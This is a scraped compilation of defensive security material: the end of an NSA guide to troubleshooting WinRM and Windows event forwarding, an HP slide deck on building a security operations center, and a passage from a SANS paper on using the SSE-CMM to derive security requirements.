O:NSG:NSD:(A;;GA;;;DC)(A;;GA;;;NS) The breakdown of O:NSG:NSD: is shown: SID and Flags Description O: Network Service G: Network Service D: None String_ACE breakdown of (A;;GA;;;DC) (A;;GA;;;NS) String_ACE1 String_ACE2 (A;;GA;;;DC) (A;;GA;;;NS) AceType = “A” = ACCESS_ALLOWED_ACE_TYPE AceType = “A” = ACCESS_ALLOWED_ACE_TYPE AceFlags = None AceFlags = None Rights = “GA” = GENERIC_ALL Rights = “GA” = GENERIC_ALL ObjectGuid = None ObjectGuid = None InheritObjectGuid = None InheritObjectGuid = None AccountSID = “DC” = Domain Computer AccoutSID = “NS” = Network Service 7.6 Troubleshooting Issues may arise such as communication errors be tween the collectors and sources, authentication errors, and subscriptions errors. WinRM issues can be investigated using certain command line options. Demystifying WinRM’s capabilities and behaviors can be achieved by using the help option of WinRM. [89] If any troubleshooting is to be performed while enforcing the authentication recommendations of this guide, then append the –remote:TARGET option to the winrm command. The TARGET should be the local hostname if the issue involves the local machine. The listing below is not an exhaustive list to identify all issues with WinRM. These commands are helpful to diagnose common errors. [90][91][92] 86 http://msdn.microsoft.com/en-us/library/aa379570(v=vs.85).aspx 87 http://msdn.microsoft.com/en-us/library/aa374928(v=vs.85).aspx 88 For curious readers, more information can be found at : http://msdn.microsoft.co m/en-us/library/dd981030.aspx. 89 winrm help 90 http://blogs.technet.com/b/jonjor/archive/2009/01/09/w inrm-windows-remote-management-troubleshooting.aspx 45 winrm e winrm/config/listener WinRM can enumerate all listeners that WinRM is currently using. winrm id –remote:TARGET This command identifies (id) the remote machine (TARGET) by asking the remote machine its operating system version and WinRM version. The TARGET can be a NetBIOS name, Domain name, or FQDN. Alternatively, using the –auth:none option will forc e WinRM to not use authen tication when requesting information from the remote machine. Using this opti on only provides a minimal set of details (version of WinRM only). The identify option provide insight if communicati on between two WinRM parties are correct and not interrupted. This interruption can be the result of a firewall blocking WinRM or WinRM not running. winrm get wmi/root/cimv2/Win32_Service?Name=WinRM This command provides useful information (e.g., ProcessID and Context WinRM runs in) regarding the WinRM service running on the local machine. winrm invoke restore winrm/config @{} WinRM allows the restoration of default settings using the previous command. winrm get winrm/config/client/auth winrm get winrm/config/service/auth These two commands display the configuration for both WinRM client and service. Viewing configuration settings can help identify any possible incorrect configuration settings. winrm helpmsg ERRORCODE WinRM error messages display the description of the error and an error code. The definition behind the error code can be shown by executing the below command. The ERRORCODE needs to be supplied verbatim as it was displayed in the original erro r message (e.g., 0x80070005 means Access Denied). These errors are Win32 error codes. winrm help auth 91 http://msdn.microsoft.com/en-us/library/windows/desktop/ee309364(v=vs.85).aspx 92 http://msdn.microsoft.com/en-us/library/windows /desktop/aa384295(v=vs.85).aspx#enabling_auth_options 46 Generally, WinRM produces an error message when authentication fails. The service provides a second option to help the authentication process. A deta iled explanation of different authentication methods used by WinRM can be viewed using the above command. The recommended method to satisfy WinRM is to supply the –remote option with the target hostname (local or remote). If the source is part of a domain, then executing this command requires an uninterrupted connection to the Domain Controller. Assume the command is being executed on a computer whose hostname is ABCD. winrm get winrm/config –remote:ABCD 7.6.1 Operational Logs While troubleshooting an issue, it is natural for one to look at the logs to help to identify a problem. Event Forwarding and WinRM have operational logs that can be viewed in the Event Viewer or by using the command line tool wevtutil.exe. The operational log files for the Event Collector, Event Forwarding, and WinRM services can be found by navigating to Applications and Services Logs in the Event Viewer on Windows Vista and later. The list below shows the location of the operational logs under Applications and Services Logs : xMicrosoft > Windows > EventCollector > Operational xMicrosoft > Windows > Eventlog-ForwardPlugin > Operational xMicrosoft > Windows > Windows Remote Management > Operational The Eventlog-ForwardPlugin and Windows Remote Management operational logs are the locations that the local WinRM service will log to. Querying the Event Forwarding log can be done by using the Microsoft-Windows-Forwarding publisher with the command line tool wevtutil. An example of using wevtutil: wevtutil qe “LOGFILE/CHANNEL” /c:1 /rd:true /q:“XPATH_QUERY” If LOGFILE is not within %SYSTEMROOT%\system32\Wine vt\Logs, the /lf option must be used with the true argument. The help documentation of the wevutil tool provides more insight of the other capabilities of the tool. This documentation can be found by executing the following command: wevutil /? 7.6.2 WinRM Errors There are numerous errors that WinRM can generate. Microsoft provides a table to easily identify common errors and solutions related to WinRM. [93] A list of event IDs associated with WinRM that applies to Windows Vista and above can be found on Microsoft’s TechNet site. [18] 7.6.2.1 Creation of Subscription Errors Numerous errors could arise during subscription creation: Common errors include 93 http://social.technet.microsoft.com/wiki/contents/articles/13444.windows-server-2012-server-manager-troubleshooting-guide-part -ii- troubleshoot-manageability-status-errors-in-server-man ager.aspx#Troubleshoot_manageablility_status_errors 47 wecutil cs Subscriptions\Logons.xml One possible error message: The subscription is saved successfully, but it can't be activated at this time. Use retry-subscription command to retry the subscription. If subscr iption is running, you can also use get- subscriptionruntimestatus command to get extended error status. Error = 0x3ae8. The subscription fails to activate. This error may be caused by the WinRM Firewall exception rule being disabled. The error code that is displayed is a Win32 error code. The error code’s message is shown beneath it. Another possible error message: Failed to open subscription. Error = 0x6b5. The interface is unknown. This error may be caused by the Windows Event Collector not running. Sources will create subscriptions locally after receivin g a list of subscriptions applicable to them. Certain subscriptions may not be created on the sources due to permissions issues or non-existing logs. WinRM will raise an Event ID 102 with a Win32 error code of 500410 in the Eventlog- ForwardingPlugin/Operational log . The error code states that a cluster resource is not available. [94] This error code may be a result of the subscription attempting to access a log file that it does not permissions to access. Verify the channel’s (log file) permissions by navigating to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels and locating the channel of interest. Within the registry key of the desired channel, view the contents of the registry value named ChannelAccess to identify the permissions of the channel. This previous error is applicable to Windows Vista and later. 7.6.2.2 Access Denied Errors Certain operations of the WinRM command may result in access denied errors. These include: WSManFault Message = Access is denied. Error number: -2147024891 0x80070005 Access is denied. xUser needs to be part of local administration group, WinRMRemoteWMIUsers__ , or domain administrator [95][96] xThe administrator password cannot be blank xIncorrect username or password xWMI operations need permissions to allow secure connections [97] 94 ([MS-ERREF]: Windows Error Codes) 95 http://msdn.microsoft.com/en-us/library/aa384295(v=vs.85).aspx 96 WinRMRemoteWMIUsers__ is a new group in Windows 8 and above 48 xWindows Firewall service needs to be running 7.6.3 XPath Query Diagnostic XPath queries used in subscriptions do not display errors to the user who created them when deployed to sources. Query errors are shown in the Applications and Services Logs > Microsoft > Windows > Eventlog-ForwardingPlugin > Operational log on Windows Vista and later sources. Event ID 101 raised by the Event Forwarding plug-in is to notify the user an XPath query was incorrect as shown in the following table: ID Level Event Log Event Source Operating System Version 101 Warning (3) Eventlog- ForwardingPlugin/Operational Eventlog- ForwardingPlugin Windows Vista+ Table 24: XPath Errors based on OS Version The human-readable details of the event do not clea rly indicate the reason why the event was raised. The specific reason can be identified by viewing the XML details of the event. An error code of the XPath query is hidden as part of the event data. The error code can be viewed by: 1. Locating event ID 101 under the Eventlog-ForwardingPlugin > Operational log 2. Selecting the Details tab followed by selecting the XML view 3. Under the EventData node exists a Data node named Status that shows the decimal value of a Win32 error code. A Win32 error code of 15001 indicates an invalid query of ERROR_EVT_INVALID_QUERY. [98] 8 Works Cited Distributed Management Task Force, Inc. (2008, 02 12). Web Services Management - WS-MAN. Retrieved 10 01, 2012, from Distributed Management Task Force, Inc.: http://www.dmtf.org/standards/published_documents/DSP0226_1.0.0.pdf Microsoft Corporation. (2012, 07 12). [MS-CSSP]: Credential Security Support Provider (CredSSP) Procotol . Retrieved 10 01, 2012, from Microsoft MSDN: http://msdn.microsoft.com/en- us/library/cc226764(v=prot.20).aspx Microsoft Corporation. (2012, 07 15). [MS-ERREF]: Windows Error Codes . Retrieved 10 01, 2012, from Microsoft MSDN: http://msdn.microsoft.com/en-us/library/cc231196.aspx Microsoft Corporation. (2012, 07 05). [MS-WSMV]: Web Services Management Protocol Extensions for Windows Vista . Retrieved 10 01, 2012, from Microsoft MSDN: http://msdn.microsoft.com/en- us/library/cc251526(prot.20).aspx Microsoft Corporation. (2011, 10 08). An update is available for the Windows Remote Management feature in Windows Server 2003 and in Windows XP . Retrieved 10 01, 2012, from Microsoft Support: http://support.microsoft.com/kb/KB936059 Microsoft Corporation. (2012, 10 08). Installation and Configuration for Windows Remote Management . Retrieved 10 01, 2012, from Microsof t MSDN: http://msdn.microsoft.com/en- us/library/windows/desktop/aa384372.aspx Microsoft Corporation. (2012, 10 16). Setting up a Source Initiated Subscription . Retrieved 10 01, 2012, from Microsoft MSDN: http://msdn.microsoft.com/en-us/library/bb870973(VS.85).aspx 97 http://msdn.microsoft.com/en-us/library/aa384424(v=vs.85).aspx 98 http://msdn.microsoft.com/en-us/library/windows/desktop/ms681384(v=vs.84).aspx 49 --- ## Source: https://montance.com/questions.php?id=86 [![pdf](content/images/icons/pdf.svg) NSA - Windows event log monitoring.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgSFBPUmprWVZDbDQ/view?usp=sharing) Nsa Windows Event Log Monitoring Resource covering Logging titled 'Nsa Windows Event Log Monitoring'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgQ1pqanREQ1JCMmc/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgQ1pqanREQ1JCMmc/view?usp=sharing]** Building, Maturing & Rocking a Security Operations Center Brandie Anderson Sr. Manager, Global Cyber Security Threat & Vulnerability Management Hewlett -Packard Agenda To be or Not to be… What is a SOC? Use Case Creation People Process & Procedure Documentation Workflow Metrics I don’t want to grow up Rocking a SOC Questions 2 To be or Not to be… Building a SOC is a business decision Organization size Compliance factors Reduce the impact of an incident ROI Proactive reaction 3 What is a SOC? Through people, processes and technology, a SOC is dedicated to detection, investigation, and response of log events triggered through security related correlation logic 4 ArcSight Correlation 5 Use Case Creation Large -Scale Water Holing Attack Campaigns Hitting Key Targets Adobe Data Breach Exposes Military Passwords Microsoft's Patch Tuesday Leaves Out Crucial Internet Explorer Fix 91% of Targeted Attacks Start with Spear -phishing Email 6 People 7 Roles and Responsibilities Level -1 and Level -2 Analysts Operations Lead Incident Handler SEIM Engineer Content Developer SOC Manager Staffing Models Establishing coverage Determining the right number of resources 8x5 = Min 2 Analyst w/ on -call 12x5/7 = Min 4 -5 Analysts w/on -call 24x7 = Min 10 -12 Analysts Finding the right skills Ensuring on-shift mentoring Continuous improvement Resource Planning •Security Device Engineers •System Administrators •Network Administrators •Physical Security 8 Training Information security basics On-the-job training SEIM training SANS GCIA and GCIH Career development Avoiding burnout Providing challenges Outlining career progression Exactly how do I get from level 1 to level 2 to lead, etc Skill assessments Certifications 9 Process & Procedure Operational •Call Out •Case Management •Event Handling •Monitoring •On-boarding •Shift Log •Shift Turn Over •Triage Analytical •Event Analysis •Incident Response •Reporting •Research •Threat Intelligence Business & Technology •Access Management •Architecture •Compliance •DR/BCP •Process Improvement •Use Cases 10 Wiki Pro Open Source Editor utilizes Markup Language (HTML -like) Easy to Search Malleable Revision Control Plugins allow extensive customization Documentation Repository Choices Microsoft SharePoint Pro Approved by Policy Already deployed, supported both internal & by Microsoft Integrates with Active Directory & MS Office Allows for Calendars, Task Assignment, Notifications, Document Revision Tracking File Shares Pro Everyone has MS Office Everyone knows how to use a file share Does not require specific technology knowledge Con Cluttered Overlap of information Nearly impossible to search for information Requires someone in charge of upkeep No revision control Con Complicated to use Typically hard to find information (search) Not very flexible No real revision control Con Open Source Not Vendor supported 11 12 Workflows Event Incident Case SOC Departmental Organizational 13 Rule Fires Level 1 Triage Level 1 Triage Investigating Engineering – Filter /Tuning Level 2 Level 2 Investigating Queued Closed Close Events Incident Response or Ticket Metrics •How many events are coming in? •Raw Events •How many data endpoints are collected / monitored •How may different types of data •How many use cases •Further defined •Per hour/day/week/month •Per analyst •Per hour of day/ per day of week •Incident / case category / severity •What is coming out? •Correlated Events •Incidents / Cases •How quickly are things handled? •Event recognition •Event escalation •Event resolution 14 Maturing Understand the 80/20 rule Leverage metrics Expand senior leader dashboard view Institute CMM methodology Monitor organizational health Increase complexity 15 CMM Example According to the book Pragmatic Security Metrics – Applying Metametrics to Information Security*, an information security version of the Capability Maturity Model (CMM) looks loosely like this: “Level 1: Ad hoc: information security risks are handled on an entirely informational basis. Processes are undocumented and relatively unstable. Level 2: Repeatable but intuitive: there is an emerging appreciation of information security. Security processes are not formally documented, depending largely on employee’s knowledge and experience. Level 3: Defined process: information security activities are formalized throughout the organization using policies, procedures, and security awareness. Level 4: Managed and measurable: information security activities are standardized using policies, procedures, defined and assigned roles and responsibilities, etc., and metrics are introduced for routing security operations and management purposes. Level 5: Optimized: Metrics are used to drive systematic information security improvements, including strategic activities.” *Brotby & Hinson, 2013 p. 47 CMM – Capability Maturity Model is registered to Carnegie Mellon University 16 Rocking It Preparation Identification Containment Eradication Recovery Lessons Learned 17 Questions Thank you! --- ## Source: https://montance.com/questions.php?id=85 [![pdf](content/images/icons/pdf.svg) HP - Building Maturing and Rocking a SOC.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgQ1pqanREQ1JCMmc/view?usp=sharing) HP Building Maturing And Rocking A SOC Resource covering SOC titled 'HP Building Maturing And Rocking A SOC'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgd2tPa1VpSlhCc1E/view?usp=sharing **[Skipped Google Drive file: Unsupported format from https://drive.google.com/file/d/0B9l-G6EuipZgd2tPa1VpSlhCc1E/view?usp=sharing]** --- ## Source: https://montance.com/questions.php?id=84 [![png](content/images/icons/png.svg) SANS - Log Review Maturity.png](https://drive.google.com/file/d/0B9l-G6EuipZgd2tPa1VpSlhCc1E/view?usp=sharing) Sans Log Review Maturity Resource covering Maturity titled 'Sans Log Review Maturity'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgX2hEbnYxSlUxUVE/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgX2hEbnYxSlUxUVE/view?usp=sharing]** Interested in learning more about security? SANS Institute InfoSec Reading Room This paper is from the SANS Institute Reading Room site. Reposting is not permitted without express written permission. Using a Capability Maturity Model to Derive Security Requirements A security engineer is often assigned to a project that already has defined security objectives. But on occasion, the security engineer may be tasked with the initial definition of the objectives. While this assignment may be exciting because of the important role the security engineer is to play, it may also be somewhat daunting due to the large solution space. In order to guide one's efforts in this task, the security engineer could turn to the Systems Security Engineering Capability Maturity Model (SSE-CMM). This mo... Copyright SANS Institute Author Retains Full RightsAD © SANS Institute 2003, Author retains full rights Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 © SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights. 1Using a Capability Maturity Model to Derive Secu rity Requiremen ts GSEC Pr actical v1.4b Option 1 Mike Phillips March 13, 2003 Abstract A security engineer is often assigned to a project that already has defined security objectives. But on occasion, the se curity enginee r may be tasked with the initial definition of the objectives. Whi le this assignment m ay be exciting because of the important role the security engineer is to play, it may also be somew hat daunting due to the larg e solution space. In order t o guide one’s efforts in this task, the security engineer could turn to the Systems Security Engineering Capability Maturity Model (SSE -CMM). This model provides industry best practice guidance without being specific as to how security solutions are implem ented. The SSE -CMM provides a broad list of “base practices” from which the security engineer can benefit when defining the objectives of the security implementation. This paper will discuss the use of these base practices in the formation of security requ irements. The Problem of Deriving Requirements Defining the software engineering requi rements for a large computing projec t is never an easy task, and without a clear focus, it is easy to get lost in a mountain of changing customer needs, fluctuating bu dget targets, and surprisingly mobile schedule milestones. Attempts to define security engineering requirements are often met with the same pitfalls. However, the need for software requirements is more widely recognized than the need for security requireme nts. Therefore, the tools and processes used for gener ating software requirements are more mature than those used for generating security requir ements. When one attempts to produce a com plete li st of security requirements for a large computing project, it becomes apparent that there is not much information availabl e in the way of standardized requirements. In fact, unlike with software development, it is likel y that the customer is not well informed about the security objectives that are desired. The custo mer may not know w hat securi ty steps are necessary, prudent, or suffi cient. The customer just knows that the system needs to be secured. It is up to the security engineer to deter mine what steps should be taken, explain the necessity of these steps to the customer, and convince the customer that the defined steps are enough to secure th e system. © SANS Institute 2003, Author retains full rights Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 © SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights. 2 With that much latitude, the security engineer may begin to believe that the security problem is unbounded, and in a sense, it i s. But even though it may not be po ssible to completely eliminate all vulnerabili ties, it is possible to minim ize or manage vulnerabilities i n a way that accom plishes reali stic goals (SANS, Schultz). The security engi neer must use experience and good judgm ent to generate the proper require ments w ithin the constrai nts that are given. Consider these situations: • The Finance depar tment is developing a new accounting system with a web-based interface. They want the system to be secured, but since the system is not a direct producer of income for the company, funds are limited. The security engineer must provide clear levels of security with an estimate of cost for each so that the Finance depa rtment can perform the necessary cost -benefit analysis. • An external customer wishes to develop a large so ftware system that will tie all i ts sites and functions together. The security engineer must show the customer a com plete solution that does everythi ng possible to avoid an embarrassing compromise. • A customer realizes that a computing system that was devel oped years ago has few modern security features. The security engineer must arrive at a solution that wil l secure the system without comprom ising existin g functionali ty or causing undue down time during implementation. When faced with any of these situati ons, the security engi neer’s most basic need is for a logical approach to use when addressing the problem. This approach must cover all the bases, have a defined endpoint, and provide proof of security to the customer. An approach that covers all the bas es must be flexible. No one list of security requirements will work for all projects. So the approach should be one that emphasizes a way to generate appropriate requirements without specifying what those requirements are. The approach must cover the entir e life cycle of the project, rather than just the development phase, or just the operations phase. The chosen approach must have a defined endp oint, because the system must eventually become operational. The approach must use a defined set of areas to investigate in the search for requirements. Those areas should be clearly explained in order to focus the investigation on the desired questions. A good approach to generating requirements will support the security engineer’s efforts to convince the customer that the information in the system is confidential, trustworthy, and available. The approach itself should be a selling point; it should be a reasoned, logical approach that instil ls confidence in the customer that the security engineer can arrive at the right solution. The approach should also © SANS Institute 2003, Author retains full rights Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 © SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights. 3generate data that can be used to reassure the customer. The requirements themselves, when reviewed with the custom er, should pro vide confiden ce, as will security plannin g documents for w hich the requirements call. With a logical approach identified, the security engineer can begin to develop requirements with a reasonable expectation of eventual success. Beyond having a logical approach, the security engineer also needs a plan for future events such as changes in both funding and threats. The act of generating requirements should provide insight i nto possible areas of improvement that are not currently funded. Thi s information can be used to argue for greater funding or to take advantage of an unexpected budget sur plus. Also, the process of generating requirements should be defined and repeatable so that emerging threats can be dealt with efficiently and with confidence that the security posture that was achieved in the past can be m aintained or achieved again. W ith a good approach to requirements generation, the security engineer can lay the groundwork for handling these future events gracefully and effectively. Admittedly, that is a lot to ask of a process for generating security requir ements, but it is similar to the needs of the software requirements generation process. Many in the software industry have adopted the Capability Maturity Model (CMM) approach to defini ng processes for software development. A CMM goes w ell beyond simply generating require ments, but i t might provide a useful starting point for the current di lemma of ferreting out security requirements from an overly vague Statement of Work document. The Capability Maturity Model A Capability Maturity Model ( CMM) is “a model for judging the m aturity of the … processes of an organization and for identifying the key practices that are required to i ncrease the maturity of these processes (CMSEI, CM M).” The idea behind a CMM is to define areas of a project that should have processes associated with them ( “process areas”) and then to measure the application of those processes (“capability level” ) in an organization. A more “mature” organization is defi ned as one whose processes are better defined and managed. Such an organization is said to have a higher ca pability level than a less mature organization. Note that the presence of processes does not guarantee that the outcome of a project will be successful. But the presence of processes and the adherence to them by the organization should provide some insight into the ability of the organization to accurately predi ct the outcome and to repeat success achieved on earlier projects. The Software Engineering Institute (SEI) at Carnegie Mellon University is a leadi ng creator of CMMs. Three examples from the SEI ar e the Software CMM (SW-CMM), the Systems Engineering CMM (SE -CMM), and the CMM Integration © SANS Institute 2003, Author retains full rights Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 © SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights. 4(CMMI). The SW -CMM and SE -CMM apply to specific areas of the computer system development realm. The CM MI is an effort to provide a single model that is integrated ac ross discipli nes, such as software and system s engineering (CMSEI, CMMI 2.2.4). The International Systems S ecurity Engineering Associati on (ISSEA) has also developed a CMM, the Systems Security Engineerin g CMM (SSE -CMM). While the International Organizat ion for Standardization ( ISO) has accepted the SSE - CMM (ISSEA, Press Release), the SSE -CMM is certainly not as well known as its SEI counterparts, just as the field of security engineering is not as widely practiced as software or systems engineering. It r emains to be seen whether or not the SSE -CMM ever becomes a w idely used approach. But the concepts it espouses provide a useful foundation for the generati on of security requirements, even if its deeper applications are not explored. The SSE -CMM defines f ive capability levels (SSE -CMM, p. 61): • Level 1 – Base practices are performed informally • Level 2 – Base practices are planned and tracked • Level 3 – Base practices are well defined • Level 4 – Base practices are quantitatively controlled • Level 5 – Base pract ices are continuously improving The SSE -CMM defines eleven security -related process areas. They are defined in alphabetical order to avoid implications of a sequence (SSE -CMM, p. 37): • PA01 – Administer Security Controls • PA02 – Assess Impact • PA03 – Assess Security Risk • PA04 – Assess Threat • PA05 – Assess Vulnerability • PA06 – Build Assurance Argument • PA07 – Coordinate Security • PA08 – Monitor Security Posture • PA09 – Provide Security Input • PA10 – Specify Security Needs • PA11 – Verify and Validate Security Using the SSE -CMM to Drive Requirements Generation These process areas, when m easured against the capabili ty levels, can be used in a variety of ways to assess the m aturity of an organization’s abil ities. For instance, a security engineering organization can perform a self -evaluation of its efforts with the intent of i dentifying weak spots and making improvements. A customer could use this type of evaluation to help determine the fitness of a potential suppl ier for the work the customer wishes to perform. Or a project might © SANS Institute 2003, Author retains full rights Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 © SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights. 5provide an external evaluation of this type as input to the customer to build confidence in the adequate security of a devel oped system based on the assessed capabilities of the security engineeri ng organization (ISSEA, SSE - CMM). But the u se of the SSE -CMM that is applicable to this forum is that of driving the generation of appropriate security requi rements. For each process area, one or more goals are defined, as well as a number of base practices. These base practices detail activities t hat a security engineering organization should undertake during the development of a computing system. A ll pro jects are different, so not every base practice will apply in all situations, but these base practices represent security engineering best practic es, so they are all worth considering when developing requi rements. Technology alone cannot ensure the security of a system. In fact, the “ most advanced equipment and security safeguards are to no avail if all the users are not properly trained to be part of the security plan (Fulton, Lessons learned).” This princi ple means that m ost good security approaches will include the definition of certai n operational procedures to ensure that the system is maintained in a secure state long after the development pha se is over. Many of the base practices lend themselves to requirements that deal with the development of various security -related procedures and policies rather than dealing strictly with the development of technical solutions. Every security engineer wil l approach the base practices with different training and experiences, so requirements will vary. This paper will attempt to provide a few examples of high -level requir ements that m ight be generated for a fictional Unix-based computing system based on the base practices associated with the different process ar eas. These examples are not meant to be com plete or even self-consistent across process areas; that type of exhaustive analysis is beyond the scope of this paper. For clarity, the process areas will be dealt with in four groups: • Architecture design ( PA07, PA09, PA10) • Security assessment (PA02, PA03, PA04, PA05) • Operations and maintenance (PA01, PA08) • Convincing th e customer (PA06, PA11) For each area, the base practices as defined in the SSE -CMM will b e listed (e.g., BP.07.01 is the first base practice of PA07) (SSE -CMM, p. 315 -318). Example Requirements Derived from Base Practices Architecture Design (PA07, PA09, PA10) BP.07.01 Define security engineering coordinati on objectives and relationships. © SANS Institute 2003, Author retains full rights Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 © SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights. 6BP.07.02 Identify coordination mechanisms for security engineering. BP.07.03 Facilitate security engineering coordination. BP.07.04 Use the identified mechanisms to coordinate decisions and recomm endations rel ated to security. The goal of PA07 is to i nvolve all the rel evant parties in security -related decisions and to properly disseminate all decisions to those who play a part in approving, implementing, or verifying those decisions. One of the parties that should be involved in decision -making at some level is the customer. Eventually, the customer must be convinced of the security of the system, so involvement in the decision making process is important to future success. With PA07’s emphasis on comm unication, one would expect the related requirement s to deal heavil y with defining processes. Some exam ple requirements that might be helpful are as follows. 1) Create a working group to address security issues. Establish a monthly meeting schedule and include representatives from the following organizations: systems engineering, software development, security engineering, and the customer. Issues that m ight be addressed incl ude the establishment of security policies for passwords, a decision on protocols to be allowed to pass through the firewall, a directive regarding the use of dial -up connections, and a review of the current plans for the deployment of LDAP. 2) Create an “Ask Security” internal web page that is accessible to everyone on the project to encourage open communication with the security engineering group. Distribute weekly security tips that explain various security restrictions of the system being developed and their effect on functionality. 3) Establish a security review board that approves all security -related decisions. This board would have the res ponsibility for creating and maintaining the security baseli ne for the project. It would work closely with the customer to ensure that budget and schedule restrictions are observed when reviewing a proposed change to the baseline. BP.09.01 Work with desig ners, developers, and users to ensure that appropriate parti es have a comm on understanding of security i nput needs. BP.09.02 Determine the security constraints and considerations needed to make informed engineering choices. BP.09.03 Identify alternative solutions to security rel ated engineering problems. BP.09.04 Analyze and prioritize engineering alternatives using security constraints and considerations. BP.09.05 Provide security related guidance to the other engineering groups. BP.09.06 Provide secu rity related guidance to operati onal system users and administrators. © SANS Institute 2003, Author retains full rights Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 © SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights. 7The goal of PA09 is to drive security decisions i nto the development of the system and to prov ide the best security engineering soluti on available. Once the security engineering organi zation makes good decisions regarding the proper development of the system to ensure security, it is necessary to support the organizations that are developing the system so that those decisions are properly and consistently i mplemented. The requirements associated with PA09 should be focused on translating security decisi ons into a working part of the system. Here are some ex ample requirements. 1) Perform trade studies to select the most appropriate products for the following areas: firewalls, switches and routers, web servers, and directory services. Trade studies should take into account such criteria as ease of installati on, ease of configuration, quality of customer support, robustness of feature set, reliability, industry ratings, and cost. Criteria sho uld be weighted appropriately. The security review board should approve the results. 2) Develop a checkli st of comm on coding mistakes that can lead to security vulnerabili ties. Circulate this l ist in the software developm ent organization, and select a represe ntative sample of newly developed code to review against the checklist. 3) Inform development organizations of default or common c apabili ties that will not be avail able due to security measures. For exam ple, reducing dependence on NFS might increase the repli cation of data, which might lead to a need to purchase more hard disks. Or the elimination of the r - comm ands might necessitate redesigning a script that i nitiates processes on multiple hosts. Informing other organizations of these restrictions earlier rath er than later will reduce cost and schedule i mpacts. 4) Establish a working list of potential coll isions between desired system functionality and the expected security implementation. For instance, an applicati on may expect to allow users to create new databa se accounts instantly, which conflicts with a security implementation that requires human approval for new accounts. For collisions that require more than a cursory explanation, formalize the explanation and decision process by presenting the issue to the security working group or the security review board. Prepare a cost -benefit analysis that compares multiple solutions involving changes in both system functionality and security implementation. 5) Prepare and maintain a list of the ten highest priority unreso lved security issues. Assign realisti c due dates to each item, and present the status of the list at the working group meetings. 6) Security engineering must attend design reviews held by other engineering organizati ons. At these m eetings, security engineerin g can answer questions from reviewers about how the design fits with security and identify security issues that the other organizations might not have considered. © SANS Institute 2003, Author retains full rights Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 © SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights. 87) Provide a security plan that includes operati onal procedures for system maintenance as well a s system operation. Maintenance procedures might include backups, restorations, account creation, fi rewall maintenance, and router access control list modifications. BP.10.01 Gain an understanding of the customer’s security needs. BP.10.02 Identify the l aws, policies, standards, external influences and constraints that govern the system. BP.10.03 Identify the purpose of the system in order to determine the security context. BP.10.04 Capture a high -level security ori ented view of the system operation. BP.10.05 Capture high -level goal s that define the security of the system. BP.10.06 Define a consistent set of statements which define the protection to be implemented in the system. BP.10.07 Obtain agreement that the specifie d security meets the customer’ s needs. The goal of PA10 is to document the overriding security goal s of the system and to gain agreement from the custom er on those goals. Thi s documentation is the translatio n of the customer’s view of the system and how it should operate as a part of the whole business into a finite set of achievable security goals. These goals are somewhat abstract and will eventually be broken down into more specific high -level requi rements. Those requirements w ill then be further detailed into derived requi rements that specificall y state how to implem ent security mechanisms for the project. PA10 should generate requirements that specify the custom er interaction and the documentation to be expected during the establi shment of security goals. Some example requirement s are as follows. 1) Create a list of security goal s that are agreed upon by the customer and the security organization. These goals might include such things as the establishment of a de -militarized zone (DMZ), the exposure of a web server to the Internet, t he use of trusted or hardened operating systems in systems that are likely targets of attack, the support of the File Transfer Protocol (FTP) through a firewall, the avoidance of wireless 